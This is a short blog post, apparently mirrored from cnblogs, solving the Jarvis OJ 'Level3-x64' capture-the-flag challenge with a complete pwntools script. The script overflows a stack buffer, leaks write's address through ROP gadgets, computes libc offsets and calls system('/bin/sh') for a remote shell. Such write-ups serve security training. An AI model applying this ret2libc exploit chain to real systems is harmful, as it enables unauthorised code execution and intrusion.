zoukankan      html  css  js  c++  java
  • Jarvis OJ-Level3-x64

    linux64位ROP技术

    #!/usr/bin/env python
    from pwn import *
    
    elf = ELF('level3_x64')
    Io = remote('pwn2.jarvisoj.com',9883) #pwn2.jarvisoj.com 9883
    
    got_write = elf.got['write']
    main = elf.symbols['main']
    plt_write = elf.symbols['write']
    
    payload1 =  "x00"* (0x80 + 8)
    payload1 += p64(0x00000000004006b3) #pop rdi ; ret
    payload1 += p64(1)
    payload1 += p64(0x00000000004006b1) #pop rsi ; pop r15 ; ret
    payload1 += p64(got_write)
    payload1 += p64(1)
    payload1 += p64(plt_write)
    payload1 += p64(main)
    
    Io.recvuntil("Input:
    ")
    Io.send(payload1)
    temp = Io.recv(8)
    write_addr = u64(temp[0:8]) 
    
    write_libc_address = 0x00000000000eb700  #readelf -a ./libc-2.19.so | grep " write@"
    bin_sh_libc_address = 0x17c8c3 #strings -a -t x libc-2.19.so | grep "/bin/sh"
    system_libc_address = 0x0000000000046590 #readelf -a ./libc-2.19.so | grep " system@"
    exit_libc_address = 0x000000000003c1e0 #readelf -a ./libc-2.19.so | grep " exit@"
    
    offset = write_addr - write_libc_address                
    
    bin_sh_address = offset + bin_sh_libc_address
    system_address = offset + system_libc_address
    exit_address = offset + exit_libc_address
    
    payload =  "x00"* (0x80 + 8)
    payload += p64(0x00000000004006b3) # pop rdi;ret  #ROPgadget --binary ./level3_x64 --only "pop|ret"
    payload += p64(bin_sh_address) # /bin/sh ; argv for system()
    payload += p64(system_address) # address of system()
    payload += p64(exit_address)
    
    Io.send(payload)
    Io.interactive()
    

      好菜啊,至今用不出通用gadgets。继续加油                                                                                                     .

  • 相关阅读:
    Python 正则表达式入门
    使用numpy与matplotlib.pyplot画图
    快乐python 零基础也能P图 —— PIL库
    Jieba库使用和好玩的词云
    python运用turtle 画出汉诺塔搬运过程
    有进度条圆周率计算
    用pythen画五角星
    pytest+allure+requests-接口自动化测试
    pytest---allure测试报告
    自动化测试---pytest
  • 原文地址:https://www.cnblogs.com/elvirangel/p/6861344.html
Copyright © 2011-2022 走看看